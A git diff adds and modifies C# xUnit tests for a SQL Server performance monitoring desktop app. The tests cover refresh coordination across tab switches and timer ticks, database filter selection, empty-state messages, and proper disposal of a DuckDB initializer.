+            Coordinator = new RefreshCoordinator(RunPassAsync, Faults.Add);
+        }
+
+        private async Task RunPassAsync(RefreshScope scope, CancellationToken ct)
+        {
+            var pass = new Pass { Scope = scope, Tab = SelectedTab, Window = Window, Compare = Compare, Token = ct };
+            Passes.Add(pass);
+            StartSignal(Passes.Count - 1).TrySetResult(pass);
+            Concurrent++;
+            MaxConcurrent = Math.Max(MaxConcurrent, Concurrent);
+            try
+            {
+                await pass.Gate.Task;
+                if (ct.IsCancellationRequested)
+                {
+                    return;
+                }
+
+                pass.Painted = true;
+                Paints.Add($"{scope}:{pass.Tab}:{pass.Window}");
+            }
+            finally
+            {
+                Concurrent--;
+            }
+        }
+
+        /// <summary>Lets pass <paramref name="index"/> finish, or fail if <see cref="Fail"/> says so.</summary>
+        internal void Release(int index)
+        {
+            var pass = Passes[index];
+            var failure = Fail?.Invoke(pass);
+            if (failure is null)
+            {
+                pass.Gate.SetResult();
+            }
+            else
+            {
+                pass.Gate.SetException(failure);
+            }
+        }
+    }
+
+    private static async Task Completes(Task task)
+    {
+        var finished = await Task.WhenAny(task, Task.Delay(TimeSpan.FromSeconds(30)));
+        Assert.Same(task, finished);
+        await task;
+    }
+
+    private static async Task<T> Completes<T>(Task<T> task)
+    {
+        var finished = await Task.WhenAny(task, Task.Delay(TimeSpan.FromSeconds(30)));
+        Assert.Same(task, finished);
+        return await task;
+    }
+
+    [Fact]
+    public async Task PendingTabSwitchRead_StopsATimerTick_FromStartingDuplicateWork()
+    {
+        var h = new Harness { SelectedTab = "CollectionHealth" };
+
+        /* The user opens Collection Health: its read starts and then waits (248 s in the field trace). */
+        var navigation = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+        Assert.Single(h.Passes);
+
+        /* The timer fires while it waits. On dev this started a second full refresh beside it. */
+        var tick = h.Coordinator.PollAsync();
+        Assert.Single(h.Passes);
+        Assert.Equal(1, h.MaxConcurrent);
+        Assert.False(h.Coordinator.HasPending);
+
+        h.Release(0);
+        await Completes(navigation);
+        await Completes(tick);
+
+        Assert.Single(h.Passes);
+        Assert.Equal(new[] { "VisibleTab:CollectionHealth:4h" }, h.Paints);
+        Assert.False(h.Coordinator.IsRunning);
+        Assert.Equal(1, h.MaxConcurrent);
+    }
+
+    [Fact]
+    public async Task TabSwitchDuringATimerRefresh_EndsWithTheLatestTabLoaded()
+    {
+        var h = new Harness { SelectedTab = "Overview" };
+
+        var tick = h.Coordinator.PollAsync();
+        Assert.Equal(RefreshScope.Full, h.Passes[0].Scope);
+
+        /* The user moves to Waits while the tick's pass is reading Overview. Dev dropped this switch outright. */
+        h.SelectedTab = "Waits";
+        var navigation = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+        Assert.Single(h.Passes);
+        Assert.True(h.Passes[0].Token.IsCancellationRequested, "the tick's pass is superseded");
+        Assert.True(h.Coordinator.HasPending);
+
+        h.Release(0);
+        await h.Started(1);
+        Assert.Equal(2, h.Passes.Count);
+        Assert.False(h.Passes[0].Painted, "the superseded Overview read must not paint");
+
+        /* The replay reads the selection at ITS start (Waits), and carries the tick's wider scope so the badges still refresh. */
+        Assert.Equal("Waits", h.Passes[1].Tab);
+        Assert.Equal(RefreshScope.Full, h.Passes[1].Scope);
+        Assert.False(h.Passes[1].Token.IsCancellationRequested);
+
+        h.Release(1);
+        await Completes(navigation);
+        await Completes(tick);
+
+        Assert.Equal(new[] { "Full:Waits:4h" }, h.Paints);
+        Assert.Equal(1, h.MaxConcurrent);
+        Assert.False(h.Coordinator.IsRunning);
+    }
+
+    [Fact]
+    public async Task RapidTabChanges_DoNotPileUpRefreshes_OrPaintASupersededTab()
+    {
+        var h = new Harness { SelectedTab = "A" };
+
+        var first = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+        foreach (var tab in new[] { "B", "C", "D", "E", "F" })
+        {
+            h.SelectedTab = tab;
+            _ = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+        }
+
+        /* Five more switches, still one read in flight, and one request remembered rather than five. */
+        Assert.Single(h.Passes);
+        Assert.Equal(1, h.MaxConcurrent);
+        Assert.True(h.Coordinator.HasPending);
+
+        h.Release(0);
+        await h.Started(1);
+        Assert.Equal(2, h.Passes.Count);
+        Assert.Equal("F", h.Passes[1].Tab);
+        Assert.False(h.Passes[0].Painted);
+
+        h.Release(1);
+        await Completes(first);
+
+        Assert.Equal(new[] { "VisibleTab:F:4h" }, h.Paints);
+        Assert.Equal(2, h.Passes.Count);
+        Assert.Equal(1, h.MaxConcurrent);
+        Assert.False(h.Coordinator.IsRunning);
+    }
+
+    [Fact]
+    public async Task AFailedRead_ReleasesTheGuard_AndTheNextRefreshWorks()
+    {
+        var h = new Harness();
+        h.Fail = p => p.Tab == "Broken" ? new InvalidOperationException("the read failed") : null;
+        h.SelectedTab = "Broken";
+
+        var failed = h.Coordinator.RequestAsync(RefreshScope.Full);
+        h.Release(0);
+        await Completes(failed);
+
+        var fault = Assert.Single(h.Faults);
+        Assert.Equal("the read failed", fault.Message);
+        Assert.False(h.Coordinator.IsRunning, "a failed pass must not leave the guard set");
+
+        /* The very next refresh runs, and so does a timer tick. */
+        h.SelectedTab = "Fine";
+        var next = h.Coordinator.RequestAsync(RefreshScope.Full);
+        Assert.Equal(2, h.Passes.Count);
+        h.Release(1);
+        await Completes(next);
+        Assert.Equal(new[] { "Full:Fine:4h" }, h.Paints);
+
+        var tick = h.Coordinator.PollAsync();
+        Assert.Equal(3, h.Passes.Count);
+        h.Release(2);
+        await Completes(tick);
+        Assert.False(h.Coordinator.IsRunning);
+    }
+
+    [Fact]
+    public async Task AFailedRead_StillRunsTheRequestThatArrivedDuringIt()
+    {
+        var h = new Harness();
+        h.Fail = p => p.Tab == "Broken" ? new InvalidOperationException("boom") : null;
+        h.SelectedTab = "Broken";
+
+        var run = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+        h.SelectedTab = "Fine";
+        _ = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+
+        h.Release(0);
+        await h.Started(1);
+        Assert.Equal(2, h.Passes.Count);
+        h.Release(1);
+        await Completes(run);
+
+        Assert.Single(h.Faults);
+        Assert.Equal(new[] { "VisibleTab:Fine:4h" }, h.Paints);
+        Assert.False(h.Coordinator.IsRunning);
+    }
+
+    [Fact]
+    public async Task AFaultCallbackThatThrows_StillReleasesTheGuard()
+    {
+        var coordinator = new RefreshCoordinator(
+            (_, _) => throw new InvalidOperationException("the read threw before its first await"),
+            _ => throw new InvalidOperationException("and so did the log"));
+
+        await Completes(coordinator.RequestAsync(RefreshScope.Full));
+
+        Assert.False(coordinator.IsRunning);
+        Assert.False(coordinator.HasPending);
+    }
+
+    [Fact]
+    public async Task ATimeRangeChangeDuringARefresh_IsRememberedAndReadsTheNewWindow()
+    {
+        var h = new Harness { SelectedTab = "Queries", Window = "4h" };
+
+        var tick = h.Coordinator.PollAsync();
+
+        /* The user picks 24 hours while the tick's read is still on the old window. Dev's range handler bailed here. */
+        h.Window = "24h";
+        var rangeChange = h.Coordinator.RequestAsync(RefreshScope.Full);
+        Assert.Single(h.Passes);
+
+        h.Release(0);
+        await h.Started(1);
+        Assert.Equal("24h", h.Passes[1].Window);
+        h.Release(1);
+        await Completes(rangeChange);
+        await Completes(tick);
+
+        Assert.Equal(new[] { "Full:Queries:24h" }, h.Paints);
+    }
+
+    [Fact]
+    public async Task ATickThatArrivesWhileARequestIsWaiting_AddsNothing()
+    {
+        var h = new Harness();
+
+        var run = h.Coordinator.RequestAsync(RefreshScope.Full);
+        _ = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+        _ = h.Coordinator.PollAsync();
+        _ = h.Coordinator.PollAsync();
+
+        h.Release(0);
+        await h.Started(1);
+        Assert.Equal(2, h.Passes.Count);
+        h.Release(1);
+        await Completes(run);
+
+        Assert.Equal(2, h.Passes.Count);
+        Assert.Equal(1, h.MaxConcurrent);
+    }
+
+    [Fact]
+    public async Task AWiderRequest_IsNotNarrowedByALaterNarrowerOne()
+    {
+        var h = new Harness();
+
+        var run = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+        _ = h.Coordinator.RequestAsync(RefreshScope.Full);
+        _ = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+
+        h.Release(0);
+        await h.Started(1);
+        Assert.Equal(RefreshScope.Full, h.Passes[1].Scope);
+        h.Release(1);
+        await Completes(run);
+    }
+
+    [Fact]
+    public async Task ACallerThatJoinedARun_CompletesWhenTheWholeRunHasFinished()
+    {
+        var h = new Harness();
+
+        var first = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+        var joined = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+        Assert.False(joined.IsCompleted, "a joined request waits for the run, replay included, so a button can stay disabled for it");
+
+        h.Release(0);
+        await h.Started(1);
+        Assert.False(joined.IsCompleted);
+        h.Release(1);
+
+        await Completes(joined);
+        await Completes(first);
+    }
+
+    [Fact]
+    public async Task CompareToChangeDuringARunningPass_ReplaysOnceAfterIt_WithTheNewSelection()
+    {
+        var h = new Harness { SelectedTab = "Overview" };
+
+        var tick = h.Coordinator.PollAsync();
+
+        /* The user picks Yesterday while the tick's pass is repainting. Dev's handler returned on _isRefreshing and
+           dropped it: the combo said Yesterday and the grids kept no baseline. */
+        h.Compare = "Yesterday";
+        var change = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+        Assert.Single(h.Passes);
+        Assert.True(h.Coordinator.HasPending);
+
+        h.Release(0);
+        await h.Started(1);
+
+        /* Once, after the running pass, reading the combo at its own start; the tick's wider scope rides along. */
+        Assert.Equal(2, h.Passes.Count);
+        Assert.Equal("None", h.Passes[0].Compare);
+        Assert.False(h.Passes[0].Painted);
+        Assert.Equal("Yesterday", h.Passes[1].Compare);
+        Assert.Equal(RefreshScope.Full, h.Passes[1].Scope);
+
+        h.Release(1);
+        await Completes(change);
+        await Completes(tick);
+
+        Assert.Equal(2, h.Passes.Count);
+        Assert.Equal(new[] { "Full:Overview:4h" }, h.Paints);
+        Assert.Equal(1, h.MaxConcurrent);
+    }
+
+    [Fact]
+    public async Task TwoCompareToChangesDuringOnePass_ReplayOnce_WithTheLastSelection()
+    {
+        var h = new Harness { SelectedTab = "TopQueries" };
+
+        var first = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+
+        h.Compare = "Yesterday";
+        _ = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+        h.Compare = "Last week";
+        _ = h.Coordinator.RequestAsync(RefreshScope.VisibleTab);
+
+        Assert.Single(h.Passes);
+        Assert.True(h.Coordinator.HasPending);
+
+        h.Release(0);
+        await h.Started(1);
+        Assert.Equal(2, h.Passes.Count);
+        Assert.Equal("Last week", h.Passes[1].Compare);
+
+        h.Release(1);
+        await Completes(first);
+
+        Assert.Equal(2, h.Passes.Count);
+        Assert.Equal(1, h.MaxConcurrent);
+        Assert.False(h.Coordinator.IsRunning);
+    }
+
+    // ---- ServerTab wiring pins: each of these fails on the source dev had before #5371. ----
+
+    private static string ControlsDir([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", "Controls"));
+
+    private static string ServerTabSource(string fileName) => File.ReadAllText(Path.Combine(ControlsDir(), fileName));
+
+    /// <summary>The code of the first method named <paramref name="name"/>: comments and literals blanked, braces balanced.</summary>
+    private static string Body(string fileName, string name)
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(ServerTabSource(fileName));
+        var match = Regex.Match(code, @"\b(?:Task|void)(?:<[^>]+>)?\s+" + Regex.Escape(name) + @"\s*\(");
+        Assert.True(match.Success, $"{name} not found in {fileName}");
+        var open = code.IndexOf('{', match.Index);
+        return CSharpSourceWalker.BraceBalanced(code, open);
+    }
+
+    [Fact]
+    public void TheTabSwitchHandler_NoLongerBailsOnARefreshInFlight_AndRoutesThroughTheCoordinator()
+    {
+        var body = Body("ServerTab.xaml.cs", "MainTabControl_SelectionChanged");
+
+        Assert.DoesNotContain("_isRefreshing", body);
+        Assert.Contains("RefreshVisibleTabOnlyAsync()", body);
+        Assert.DoesNotContain("RefreshVisibleTabAsync(", body);
+    }
+
+    [Fact]
+    public void TheTimerTick_IsAPoll_ThroughTheCoordinator()
+    {
+        var source = CSharpSourceWalker.StripCommentsAndStrings(ServerTabSource("ServerTab.xaml.cs"));
+        var at = source.IndexOf("_refreshTimer.Tick +=", StringComparison.Ordinal);
+        Assert.True(at >= 0, "the timer subscription is gone");
+        var block = source.Substring(at, Math.Min(200, source.Length - at));
+        Assert.Contains("RefreshAllDataOnTimerAsync()", block);
+        Assert.DoesNotContain("RefreshAllDataAsync()", block);
+    }
+
+    [Theory]
+    [InlineData("RangePicker_RangeChanged")]
+    public void TheTimeRangeHandlers_DoNotDropAChangeBecauseARefreshIsRunning(string handler)
+    {
+        var body = Body("ServerTab.TimeRange.cs", handler);
+
+        Assert.DoesNotContain("_isRefreshing", body);
+        Assert.Contains("_suppressRangeRefresh", body);
+    }
+
+    [Fact]
+    public void TheCompareToHandler_DoesNotDropAChangeBecauseARefreshIsRunning_AndSkipsOnlyTheProgramsOwnWrite()
+    {
+        var body = Body("ServerTab.Comparison.cs", "CompareToCombo_SelectionChanged");
+
+        Assert.DoesNotContain("_isRefreshing", body);
+        Assert.Contains("_suppressRangeRefresh", body);
+        Assert.Contains("RefreshVisibleTabOnlyAsync()", body);
+        Assert.DoesNotContain("RefreshOverviewAsync(", body);
+
+        /* The program's own reset of the combo (a tab with no comparison) is what the flag is for. */
+        var reset = Body("ServerTab.Comparison.cs", "UpdateCompareDropdownState");
+        Assert.Matches(@"_suppressRangeRefresh\s*=\s*true;\s*try\s*\{\s*CompareToCombo\.SelectedIndex\s*=\s*0;", reset);
+    }
+
+    [Fact]
+    public void EveryDirectRefreshOfTheVisibleTab_IsInsideACoordinatorPass()
+    {
+        /* A load that starts outside the coordinator is exactly the overlap #5371 closed. */
+        var callers = Directory.EnumerateFiles(ControlsDir(), "ServerTab*.cs")
+            .SelectMany(f => Regex.Matches(CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(f)), @"\bRefreshVisibleTabAsync\s*\(")
+                .Select(_ => Path.GetFileName(f)))
+            .ToList();
+
+        /* The definition, plus the two coordinator passes' calls: all in ServerTab.Refresh.cs. */
+        Assert.All(callers, f => Assert.Equal("ServerTab.Refresh.cs", f));
+        Assert.Equal(3, callers.Count);
+    }
+
+    [Fact]
+    public void TheInRefreshFlag_IsOnlyEverSetImmediatelyBeforeATry_AndOnlyByTheFullPass()
+    {
+        /* On dev the flag was set, then the server clock was awaited, then the try began: a throw in between left every refresh bailing forever. */
+        var setters = new List<string>();
+        foreach (var file in Directory.EnumerateFiles(ControlsDir(), "ServerTab*.cs"))
+        {
+            var code = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(file));
+            foreach (Match m in Regex.Matches(code, @"\b_isRefreshing\s*=\s*true\s*;"))
+            {
+                var after = code.Substring(m.Index + m.Length);
+                Assert.Matches(@"^\s*try\b", after);
+                setters.Add(Path.GetFileName(file));
+            }
+        }
+
+        Assert.Equal(new[] { "ServerTab.Refresh.cs" }, setters);
+    }
+}
diff --git a/Lite.Tests/RegressedFromProductiveTests.cs b/Lite.Tests/RegressedFromProductiveTests.cs
index 5df726a37a..4601d656e8 100644
--- a/Lite.Tests/RegressedFromProductiveTests.cs
+++ b/Lite.Tests/RegressedFromProductiveTests.cs
@@ -34,6 +34,7 @@ namespace Lite.Tests;
 /// cry-wolf outcome #1852 exists to prevent. So the never-produced row is asserted to keep its EXISTING
 /// band by name, not merely to differ from the regressed one.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class RegressedFromProductiveTests
 {
     private static readonly DateTime Now = DateTime.UtcNow;
@@ -253,7 +254,10 @@ public void TheBandingRead_SelectsBothRegressionInstants()
             "MAX(CASE WHEN rows_collected > 0 THEN collection_time END) AS last_productive_time",
             sql,
             StringComparison.Ordinal);
-        Assert.Contains("MAX(CASE WHEN recency_rank = 1 THEN status END) AS current_status", sql, StringComparison.Ordinal);
+        /* #5371: the status of the newest run, read at the aggregate's newest instant (it was the rank-1 row).
+           Still not a MAX over the skip rows, which is lexicographic. */
+        Assert.Contains("newest.pick.status AS current_status", sql, StringComparison.Ordinal);
+        Assert.Contains("AND   n.collection_time = h.last_run_time", sql, StringComparison.Ordinal);
 
         /* The vocabulary reaches the STORE from the one place it is declared, so a fourth skip status
            split out later reaches this read without anybody editing SQL. */
diff --git a/Lite.Tests/ReleaseWalkFilterAndCompareTests.cs b/Lite.Tests/ReleaseWalkFilterAndCompareTests.cs
new file mode 100644
index 0000000000..7c39ed013d
--- /dev/null
+++ b/Lite.Tests/ReleaseWalkFilterAndCompareTests.cs
@@ -0,0 +1,216 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Controls;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// Release walk V12a, V12c and V12d, in Lite and the Darling Viewer (the Viewer's tabs are a copy of Lite's, so the source
+/// pins read both). V12a: an empty Long Queries grid on a server whose opt-in trace is off says so and says where the switch
+/// is. V12c: "Select All" in the Databases filter means All (no filter), not a real filter naming every database collected
+/// so far. V12d: a Compare window the store holds nothing for says so, on the Overview lanes and on the comparison grids.
+/// </summary>
+[Trait("Reads", "Darling")]
+public sealed class ReleaseWalkFilterAndCompareTests
+{
+    private static string RepoFile(string relativePath)
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir != null && !File.Exists(Path.Combine(dir, "PerformanceMonitor.sln")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return File.ReadAllText(Path.Combine(dir!, relativePath.Replace('/', Path.DirectorySeparatorChar)));
+    }
+
+    // ---- V12c ---------------------------------------------------------------------------------------------------
+
+    [Fact]
+    public void DatabaseFilter_EveryBoxTicked_IsAll_NotATwelveDatabaseFilter()
+    {
+        var items = Enumerable.Range(1, 12).Select(i => ($"Db{i}", true)).ToList();
+
+        Assert.Empty(DatabaseFilterSelection.Stored(items, items.Select(i => i.Item1).ToList()));
+    }
+
+    [Fact]
+    public void DatabaseFilter_SomeBoxesTicked_StoresThoseNames()
+    {
+        var items = new List<(string Name, bool IsSelected)> { ("A", true), ("B", false), ("C", true) };
+
+        Assert.Equal(new[] { "A", "C" }, DatabaseFilterSelection.Stored(items, new[] { "A", "B", "C" }));
+    }
+
+    [Fact]
+    public void DatabaseFilter_NoBoxTicked_AndNoDatabasesListed_AreAll()
+    {
+        Assert.Empty(DatabaseFilterSelection.Stored(new List<(string, bool)> { ("A", false), ("B", false) }, new[] { "A", "B" }));
+        Assert.Empty(DatabaseFilterSelection.Stored(new List<(string, bool)>(), new[] { "A", "B" }));
+        Assert.Empty(DatabaseFilterSelection.Stored(new List<(string, bool)>(), null));
+    }
+
+    /// <summary>
+    /// #5554: a sticky filter for two databases, the collected-name read failed (null) or came back empty: the list holds
+    /// only the sticky names, every one ticked, and that is not "every database ticked".
+    /// </summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void DatabaseFilter_StickyNamesOnly_WhenTheCollectedReadFailed_StayTheFilter(bool emptyRead)
+    {
+        var items = new List<(string Name, bool IsSelected)> { ("Sales", true), ("Billing", true) };
+
+        var stored = DatabaseFilterSelection.Stored(items, emptyRead ? new List<string>() : null);
+
+        Assert.Equal(new[] { "Sales", "Billing" }, stored);
+    }
+
+    /// <summary>
+    /// #5554: every listed box is ticked, but one collected database is not on the list the user ticked (it was collected
+    /// after the list was built, or the sticky names are all that is ticked): not All. Ticking every collected name, with
+    /// a sticky name beside them, is All.
+    /// </summary>
+    [Fact]
+    public void DatabaseFilter_AllIsEveryCollectedNameTicked_NotEveryListedBox()
+    {
+        var onlySticky = new List<(string Name, bool IsSelected)> { ("Sales", true), ("Ghost", true) };
+        Assert.Equal(new[] { "Sales", "Ghost" }, DatabaseFilterSelection.Stored(onlySticky, new[] { "Sales", "Billing" }));
+
+        var withSticky = new List<(string Name, bool IsSelected)> { ("Billing", true), ("Ghost", true), ("Sales", true) };
+        Assert.Empty(DatabaseFilterSelection.Stored(withSticky, new[] { "sales", "BILLING" }));
+    }
+
+    [Theory]
+    [InlineData("Lite/Controls/ServerTab.DatabaseFilter.cs")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.DatabaseFilter.cs")]
+    public void DatabaseFilter_SyncStoresThroughTheSharedRule(string path)
+    {
+        var source = RepoFile(path);
+
+        Assert.Contains("DatabaseFilterSelection.Stored(", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("if (item.IsSelected)", source, StringComparison.Ordinal);
+    }
+
+    // ---- #5554: a failed Running Jobs read is not "no jobs are running" -------------------------------------------
+
+    [Theory]
+    [InlineData("Lite/Controls/ServerTab.Refresh.cs")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.RunningJobs.cs")]
+    public void RunningJobsLoad_DoesNotTurnAFailedReadIntoAnEmptyList(string path)
+    {
+        var source = RepoFile(path);
+
+        /* SafeQueryAsync answers a failed read with an empty list, and the empty grid then says "No SQL Agent jobs are
+           running." about a read that never answered. The load catches the failure itself and says the read failed. */
+        Assert.DoesNotContain("SafeQueryAsync(() => _dataService.GetRunningJobsAsync", source, StringComparison.Ordinal);
+        Assert.Contains("RunningJobsReadFailedText(ex)", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void RunningJobsReadFailedText_NamesTheCause_AndNeverSaysNoJobsAreRunning()
+    {
+        var text = ServerTab.RunningJobsReadFailedText(new InvalidOperationException("msdb is offline"));
+
+        Assert.Contains("could not be read", text, StringComparison.Ordinal);
+        Assert.Contains("msdb is offline", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("No SQL Agent jobs are running", text, StringComparison.Ordinal);
+    }
+
+    // ---- V12d ---------------------------------------------------------------------------------------------------
+
+    [Fact]
+    public void OverviewCompare_NoRowsInAnyLane_IsNoData_AndAnyRowIsNot()
+    {
+        Assert.True(CorrelatedTimelineLanesControl.ComparisonHasNoData(0, 0, 0, 0, 0));
+        Assert.False(CorrelatedTimelineLanesControl.ComparisonHasNoData(0, 0, 0, 0, 1));
+        Assert.False(CorrelatedTimelineLanesControl.ComparisonHasNoData(5, 0, 0, 0, 0));
+    }
+
+    [Theory]
+    [InlineData(1, "No comparison line: no data was collected for the same hours yesterday")]
+    [InlineData(7, "No comparison line: no data was collected for the same hours last week")]
+    [InlineData(3, "No comparison line: no data was collected for the same hours 3 days earlier")]
+    public void OverviewCompare_EmptyText_NamesThePeriod(int days, string expected)
+    {
+        Assert.Equal(expected, CorrelatedTimelineLanesControl.ComparisonEmptyText(days));
+    }
+
+    [Fact]
+    public void OverviewCompare_RefreshShowsTheBanner_OnlyWhenEveryReadCameBackEmpty()
+    {
+        var source = RepoFile("Lite/Controls/CorrelatedTimelineLanesControl.xaml.cs");
+
+        Assert.Contains("ComparisonEmptyBanner.Text = ComparisonEmptyText(days);", source, StringComparison.Ordinal);
+        Assert.Contains("refIoTask.IsCompletedSuccessfully", source, StringComparison.Ordinal);
+        Assert.Contains("ComparisonEmptyBanner.Visibility = Visibility.Collapsed;", source, StringComparison.Ordinal);
+        Assert.Contains("x:Name=\"ComparisonEmptyBanner\"", RepoFile("Lite/Controls/CorrelatedTimelineLanesControl.xaml"), StringComparison.Ordinal);
+    }
+
+    private sealed class Item : ComparisonItemBase { }
+
+    [Fact]
+    public void ComparisonGrids_BaselineWithNoRows_SaysSo()
+    {
+        var onlyNew = new List<ComparisonItemBase> { new Item { ExecutionCount = 4, BaselineExecutionCount = 0 } };
+        var withBaseline = new List<ComparisonItemBase> { new Item { ExecutionCount = 4, BaselineExecutionCount = 2 } };
+        const string banner = "Comparing against baseline: a → b";
+
+        Assert.Equal(banner + ComparisonBaselineNote.NoBaselineData, ComparisonBaselineNote.Banner(banner, onlyNew));
+        Assert.Equal(banner + ComparisonBaselineNote.NoBaselineData, ComparisonBaselineNote.Banner(banner, new List<ComparisonItemBase>()));
+        Assert.Equal(banner, ComparisonBaselineNote.Banner(banner, withBaseline));
+    }
+
+    [Theory]
+    [InlineData("Lite/Controls/ServerTab.Comparison.cs")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueriesComparison.cs")]
+    public void ComparisonGrids_AllThreeLoadsAddTheNoBaselineNote(string path)
+    {
+        var source = RepoFile(path);
+
+        foreach (var banner in new[] { "QueryStatsComparisonBanner", "ProcStatsComparisonBanner", "QueryStoreComparisonBanner" })
+        {
+            Assert.Contains($"{banner}.Text = ComparisonBaselineNote.Banner({banner}.Text, items);", source, StringComparison.Ordinal);
+        }
+    }
+
+    // ---- V12a ---------------------------------------------------------------------------------------------------
+
+    [Fact]
+    public void LongQueries_TraceOff_EmptyTextSaysWhyAndWhereToTurnItOn()
+    {
+        var off = LongQueriesEmptyText.Text(false, "Settings → Collector Schedules → Edit");
+        var on = LongQueriesEmptyText.Text(true, "Settings → Collector Schedules → Edit");
+
+        Assert.Contains("trace is OFF", off, StringComparison.Ordinal);
+        Assert.Contains("Settings → Collector Schedules → Edit", off, StringComparison.Ordinal);
+        Assert.Contains("long_query_completions", off, StringComparison.Ordinal);
+        Assert.DoesNotContain("OFF", on, StringComparison.Ordinal);
+        Assert.NotEqual(EmptyState.DefaultGridText, off);
+        Assert.NotEqual(EmptyState.DefaultGridText, on);
+    }
+
+    [Theory]
+    [InlineData("Lite/Controls/ServerTab.LongQueries.cs")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.LongQueries.cs")]
+    public void LongQueries_TheGridsEmptyTextFollowsTheTraceSetting(string path)
+    {
+        var source = RepoFile(path);
+
+        Assert.Contains("EmptyState.SetText(LongQueryCompletionsGrid", source, StringComparison.Ordinal);
+        Assert.Contains("LongQueriesEmptyText.Text(traceEnabled, LongQueriesSwitchLocation)", source, StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/ReplayedIndexRebuildTests.cs b/Lite.Tests/ReplayedIndexRebuildTests.cs
index a60c4dcf12..4a7f39abf5 100644
--- a/Lite.Tests/ReplayedIndexRebuildTests.cs
+++ b/Lite.Tests/ReplayedIndexRebuildTests.cs
@@ -74,7 +74,7 @@ private static long Count(DuckDBConnection connection, string sql)
     /// <summary>A Lite store whose last rows are committed to the WAL only, closed the way a crash closes it.</summary>
     private async System.Threading.Tasks.Task<string> StoreClosedWithRowsOnlyInTheWalAsync()
     {
-        var lite = new DuckDbInitializer(_dbPath);
+        using var lite = new DuckDbInitializer(_dbPath);
         await lite.InitializeAsync();
         var connectionString = lite.ConnectionString;
         lite.Dispose();
@@ -98,7 +98,7 @@ public async System.Threading.Tasks.Task RowsReplayedFromTheWal_StayInTheirIndex
 
         /* Lite opens the file, which replays the WAL, and closes it normally: the shutdown checkpoint is the one
            that loses the replayed rows' index entries. */
-        var lite = new DuckDbInitializer(_dbPath);
+        using var lite = new DuckDbInitializer(_dbPath);
         await lite.InitializeAsync();
         lite.Dispose();
 
@@ -125,7 +125,7 @@ opened after a crash. */
             other.Open();
         }
 
-        var lite = new DuckDbInitializer(_dbPath);
+        using var lite = new DuckDbInitializer(_dbPath);
         await lite.InitializeAsync();
         try
         {
@@ -143,7 +143,7 @@ opened after a crash. */
     [Fact]
     public async System.Threading.Tasks.Task TheRebuild_RunsAtEveryOpen_AndLeavesEveryDefinitionAsItWas()
     {
-        var lite = new DuckDbInitializer(_dbPath);
+        using var lite = new DuckDbInitializer(_dbPath);
         await lite.InitializeAsync();
         var connectionString = lite.ConnectionString;
         lite.Dispose();
@@ -154,7 +154,7 @@ public async System.Threading.Tasks.Task TheRebuild_RunsAtEveryOpen_AndLeavesEve
         for (var open = 1; open <= 2; open++)
         {
             var log = new CapturingLogger();
-            var reopened = new DuckDbInitializer(_dbPath, log);
+            using var reopened = new DuckDbInitializer(_dbPath, log);
             await reopened.InitializeAsync();
             reopened.Dispose();
 
@@ -197,7 +197,7 @@ public void TheCheckpoint_GatesTheRebuild_AndNoIndexIsDroppedAndCreatedInOneTran
     [Fact]
     public async System.Threading.Tasks.Task ADeclaredIndexThatCannotBeBuilt_IsLogged_AndTheOpenCarriesOn()
     {
-        var lite = new DuckDbInitializer(_dbPath);
+        using var lite = new DuckDbInitializer(_dbPath);
         await lite.InitializeAsync();
         var connectionString = lite.ConnectionString;
         lite.Dispose();
@@ -218,7 +218,7 @@ statements missing when the repair dropped it and could not build it again. */
         }
 
         var log = new CapturingLogger();
-        var reopened = new DuckDbInitializer(_dbPath, log);
+        using var reopened = new DuckDbInitializer(_dbPath, log);
         await reopened.InitializeAsync();
         try
         {
@@ -243,7 +243,7 @@ statements missing when the repair dropped it and could not build it again. */
     [Fact]
     public async System.Threading.Tasks.Task AnExistingFileWhoseSchemaVersionCannotBeRead_StillOpens_PastAnIndexThatCannotBeBuilt()
     {
-        var lite = new DuckDbInitializer(_dbPath);
+        using var lite = new DuckDbInitializer(_dbPath);
         await lite.InitializeAsync();
         var connectionString = lite.ConnectionString;
         lite.Dispose();
@@ -259,7 +259,7 @@ public async System.Threading.Tasks.Task AnExistingFileWhoseSchemaVersionCannotB
         }
 
         var log = new CapturingLogger();
-        var reopened = new DuckDbInitializer(_dbPath, log);
+        using var reopened = new DuckDbInitializer(_dbPath, log);
         await reopened.InitializeAsync();
         try
         {
